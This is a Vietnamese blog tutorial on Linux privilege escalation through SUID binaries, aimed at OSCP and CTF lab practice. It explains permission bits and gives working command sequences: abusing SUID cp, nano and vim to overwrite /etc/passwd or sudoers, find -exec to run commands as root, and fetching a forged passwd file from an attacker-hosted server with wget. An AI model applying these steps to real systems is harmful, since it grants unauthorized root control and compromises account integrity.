Leo thang đặc quyền trong Linux - Linux Privilege Escalation #1: Using SUID bit
Bài đăng này đã không được cập nhật trong 2 năm
0. Mở đầu
Trong nhiều chứng chỉ như OSCP, OSCE hay những lab pentesting như của Vulnhub, Hackthebox luôn có một phần rất rất quan trọng là chiếm Root của Server để có được flag. Điều này chứng tỏ rằng bạn đã hoàn toàn chinh phục được bài lab. Đặt vào một hoàn cảnh thực tế hơn, trong quá trình Pentest, bạn có thể thực thi code (RCE) trên Server của target được pentest, mức ảnh hưởng sẽ thế nào nếu từ RCE, bạn có Full Permissions thông qua việc Privilege Escalation thành công ?
Đây là bài thứ 2 trong series về Linux Privilege Escalation của mình. Cũng là một dạng được sử dụng khá thường xuyên trong các cuộc thi, bài kiểm thử có yêu cầu về leo thang đặc quyền.
1. Cơ sở lý thuyết: SUID - Set owner User ID up on execution
1.1 - Các quyền với file, thư mục trong Linux
Có bao giờ bạn install Project mới với Laravel, truy cập ngay và gặp thông báo như thế này (Permision denied):
Và bằng một cách nào đó, sau khi gõ lệnh: chmod -R 777 storage/
thì trang Welcome của Laravel lại hiện ra một cách ngon lành?
Con số 777 kia nghĩa là gì? Hãy xem hình bên dưới để rõ hơn về quyền trong Linux:
Con số 7 kia chính là số bit tối đa được sử dụng để đặt quyền của user đối với file, thư mục. Bao gồm: Read (4), Write (2) và Execute (1).
Khi đặt 777, nó sẽ là rwxrwxrwx. Hay 755 thì sẽ là: rwxr-xr-x.
Với lệnh chmod -R 777 storage/
ở trên, mọi thư mục, file...trong /storage/ đều có thể read, write, execute bởi bất cứ ai. Về cơ bản, bạn đã vô hiệu hóa tất cả các hình thức bảo mật với thư mục này . Khi full quyền, có thể tóm tắt như sau:
- Dấu - hoặc d: Dấu - chỉ ra đó là 1 file, chữ d chỉ ra đó là 1 thư mục
- User: Quyền của user chủ sở hữu của file / thư mục này.
- Group: Quyền của những users cùng group với chủ sở hữu file / thư mục này.
- Other: Quyền của tất cả các user khác trên máy.
Để biết được file và directories đang được phân quyền như thế nào, các bạn gõ ls -la
trên terminal.
Đây là sự kết hợp của ls -l
(use a long listing format) và ls -a
(do not ignore entries starting with .). Điều này là quan trọng vì trong rất nhiều bài lab, các file ẩn thường chứa những thông tin quan trọng.
1.2 - SUID, SGID và sticky bits
Như vậy các bạn có thể thấy, chúng ta có 3 quyền với 3 nhóm người dùng khác nhau. Tuy nhiên còn có 3 special permission với file, thư mục trong Linux, đó là SUID, SGID và sticky bits. Đương nhiên trong phạm vi bài viết, chúng ta sẽ tìm hiểu chủ yếu về việc leo thang đặc quyền với SUID. Tuy nhiên mình sẽ giới thiệu cơ bản về cả 2 permission kia.
1.2.1 - SUID
SUID ( hay Set user ID ) , thường được sử dụng trên các file thực thi ( executable files ). Quyền này cho phép file được thực thi với các đặc quyền (privileges) của chủ sở hữu file đó.
Ví dụ: nếu một file được sở hữu bởi user root và được set SUID bit, thì bất kể ai thực thi file, nó sẽ luôn chạy với các đặc quyền của user root. Và khi xem permissions của file, ở phần User, nhãn x sẽ được chuyển sang nhãn s.
Để gán SUID cho 1 file, có 2 cách:
chmod u+s [tên file]
hoặc:
chmod 4555 [ tên file] ( thêm 4 vào trước permissons )
Lưu ý: Nếu file chưa có quyền thực thi (executing file as program), SUID sẽ là chữ S. Để nhãn S trở thành s bạn phải cấp quyền thực thi cho file, cũng có 2 cách:
-
Chuột phải vào file chọn Properties, phần Permission tick vào Allow executing file as program.
-
Cách 2 đơn giản hơn, chỉ gần gõ:
chmod u+x [tên file]
Dưới đây là cách gán 1 SUID cho một file cụ thể tên .burp ( dùng grep đơn giản là mình lọc kết quả cho đỡ rối mắt ). Và từ S đã chuyển thành s. Gán SUID hoàn tất.
1.2.2 - SGID
SGID ( hay Set group ID ) , cũng tương tự như SUID. Quyền này cho phép file được thực thi với các đặc quyền (privileges) của group sở hữu file đó. Ví dụ: nếu một file thuộc sở hữu của Staff group, bất kể ai thực thi file đó, nó sẽ luôn chạy với đặc quyền của Staff group.
Và khi xem permissions của file, ở phần Group, nhãn x sẽ được chuyển sang nhãn s.
Để gán SGID cho 1 file, có 2 cách:
chmod g+s [tên file]
hoặc:
chmod 2555 [ tên file] ( thêm 2 vào trước permissons )
Ngoài ra SGID có thể được gán cho thư mục. Với cách gán tương tự như gán cho một file. Khi SGID được gán cho 1 thư mục, tất cả các file được tạo ra trong thư mục đó sẽ kế thừa quyền sở hữu của Group đối với thư mục đó.
1.2.2 - Sticky Bit
Được dùng cho các thư mục chia sẻ , mục đích là ngăn chặn việc người dùng này xóa file của người dùng kia . Chỉ duy nhất owner và root mới có quyền rename hay xóa các file, thư mục khi nó được set Sticky Bit. Đó là lý do nó còn được gọi là restricted deletion bit.
Điều này khá hữu ích trên các thư mục được set quyền 777 (mọi người đều được phép đọc và ghi / xóa).
Khác một chút với 2 permission phía trên, ở Sticky Bit, nhãn x sẽ được chuyển thành nhãn t.
Để gán Sticky Bit có 3 cách:
chmod +t [tên file, thư mục]
hoặc:
chmod o+t [tên file, thư mục]
hoặc:
chmod 1555 [ tên file,thư mục] ( thêm 1 vào trước permissons )
2 - Tìm Files có SUID
Đây là câu lệnh quan trọng nhất của phần Privilege Escalation này, vậy nên cần hiểu kỹ.
Command: find / -perm -u=s -type f 2>/dev/null
Trong đó:
- /: Tìm kiếm bắt đầu từ thư mục gốc (root) của hệ thống, việc này giúp quét toàn bộ files trong tất cả thư mục. Điều này giúp tăng phạm vi tìm kiếm.
- -perm: Tìm kiếm theo các quyền được chỉ định sau đây.
- -u=s: Tìm kiếm các file được sở hữu bởi người dùng root. Sử dụng -user [tên user] để tìm kiếm các files của user đó.
- -type: chỉ định loại file tìm kiếm.
- f: Chỉ định loại file cần tìm là các regular file, mà không là các thư mục hoặc các file đặc biệt. Hầu hết các file được sử dụng trực tiếp bởi người dùng là các regular file. Ví dụ: file thực thi, file văn bản, file hình ảnh... Điều này giúp tăng hiệu quả tìm kiếm.
- 2>: có nghĩa là redirect (kí hiệu là >) file channel số 2 tới nơi được chỉ định, file channel này ánh xạ tới stderr (standard error file channel), là nơi các chương trình thường ghi lỗi vào.
- /dev/null: Đây là nơi được redirect đến, nó là một pseudo-device (thiết bị giả) hay một special character device mà nó cho phép write (ghi) bất cứ thứ gì lên nó, nhưng khi yêu cầu đọc nó, nó không return bất cứ thứ gì.
Vậy câu lệnh trên sẽ tìm toàn bộ files có SUID của user root. Việc thêm 2>/dev/null
ý nghĩa rằng toàn bộ errors ( file channel 2 ) trong quá trình chạy sẽ được redirect tới /dev/null nhằm bỏ qua tất cả errors đó. Thế nên trong hình dưới kết quả nó mới được "gọn" thế kia.
3 - Privilege Escalation using SUID
Thông thường trong các bài lab sử dụng method này, các SUID sẽ được gán cho các file/program/command với Owner có quyền cao hơn quyền của User khi chúng ta thâm nhập thành công vào bên trong. Nếu đó là Root, xin chúc mừng, game có vẻ dễ. Nhưng nếu là User khác, thì cũng xin chúc mừng, vì có vẻ bạn đang chơi game đúng hướng.
Nếu bài lab có sử dụng method này để leo thang đặc quyền, khả năng cao sẽ là một trong số những trường hợp dưới đây, vì hiện tại đều đang khả dụng !
Let's start !!!
3.1 - Khi SUID được gán cho Copy command
Sau khi RCE thành công, sử dụng câu lệnh tìm kiếm quen thuộc: find / -perm -u=s -type f 2>/dev/null
Command này dù là user vừa mới được tạo mới tinh cũng có thể thực thi
Confirm lại lần nữa cho chắc:
which cp
ls -la /bin/cp
Ok nó có SUID, ý tưởng ở đây là: Chúng ta sẽ copy file /etc/passwd. Nơi chứa rất nhiều thông tin nhạy cảm như thông tin của các user trên máy. Sử dụng copy, chúng ta sẽ chuyển nó đến thư mục web /var/www/html.
Trên máy attacker, chúng ta dễ dàng truy cập, copy toàn bộ nội dung vào 1 file text. Tạo một user mới bằng cách sử dụng OpenSSL, gán quyền root cho user đó ( UID = 0 ), lưu vào cuối file text. Sau đó chuyển lại về máy victim ở thư mục /tmp/ (thư mục mặc định, có toàn quyền để tạo hay xóa mọi file) . Cuối cùng là dùng copy để ghi đè lên file passwd thật.
Command: cp /etc/passwd /var/www/html
Copy nội vào file text tên passwd và tạo một user mới:
Command: openssl passwd -1 -salt [salt value] {password}
Thêm user vào cuối file text trên, gán UID, GID:
Đưa file text vừa tạo ở máy attacker lên 1 "web server" sử dụng python2:
Command: python -m SimpleHTTPServer 8899
Tại thư mục /tmp/ ở máy victim, wget file text trên về:
Command:
cd /tmp
wget IP:8899/passwd
cp passwd /etc/passwd
Kiểm tra xem đã ghi đè thành công chưa bằng cách đọc 3 dòng cuối của /etc/passwd
Command: tail -n 3 /etc/passwd
Đến đây thì chỉ cần su (switch user) sang user3 và Get ROOT.
3.2 - Khi SUID được gán cho Find command
Command: find / -perm -u=s -type f 2>/dev/null
Tại đây mình đã grep find để trả ra kết quả dễ nhìn hơn.
Với find, bạn không thể có được một Root shell, nhưng có thể thực thi mọi lệnh với tư cách root.
Command:
touch anything
find anything -exec "command muốn thực thi" ;
3.3 - Khi SUID được gán cho Vim
Command: find / -perm -u=s -type f 2>/dev/null| grep vim
Hãy đọc phần 1 của mình về Privilege Escalation sử dụng Sudo Rights để hiểu hơn về method này. Tại đây khi Vim được gán SUID, chúng ta sẽ dùng nó để sửa đổi file Sudoers.
Command: vim visudo
Edit :username ALL=(ALL) NOPASSWD:ALL
Và get ROOT:
3.4 - Khi SUID được gán những script có sẵn
Chuyện này có lẽ thường chỉ có trong những bài Lab ở mức độ easy, nơi owner tạo ra những đoạn script có sẵn dùng để get root shell. Cũng là một lưu ý khi gặp bài kiểu này, hãy thêm | grep shell hay | grep root, grep |asroot ...Nếu có, việc còn lại chỉ là chỉ là chạy script.
3.5 - Khi SUID được gán cho Nano
Phương thức cũng sẽ giống như ở phần copy, mục tiêu là chỉnh sửa file /etc/passwd. Nhưng với nano, mọi chuyện dễ dàng hơn nhiều.
Tạo user mới bằng openSSL như phía trên: openssl passwd -1 -salt demo passwd123
Kiểm tra xem nano có được gán SUID không, nếu có thì thêm user vào /etc/passwd với đặc quyền root.
Command:
find / -perm -u=s -type f 2>/dev/null | grep nano
nano /etc/passwd
Và get ROOT:
4. Ví dụ
Trong bài CTF write-up này,sau khi RCE thành công và tìm kiếm, nhận thấy có SUID time. Mình đã get Root thành công và có flag.
SUID time và time whoami trả về ID của root. Từ đó dễ dàng cat flag.
Như vậy tùy vào SUID và ý đồ của tác giả mà mỗi bài lại có đôi chút khác biệt. Tuy nhiên về phương thức đều là sử dụng SUID. Hi vọng qua bài viết và quá trình làm lab, thi chứng chỉ hay pentest, nó có thể giúp ích cho các bạn.
5. Tài liệu tham khảo
https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
https://pentestlab.blog/2017/09/25/suid-executables/
https://gtfobins.github.io/
All rights reserved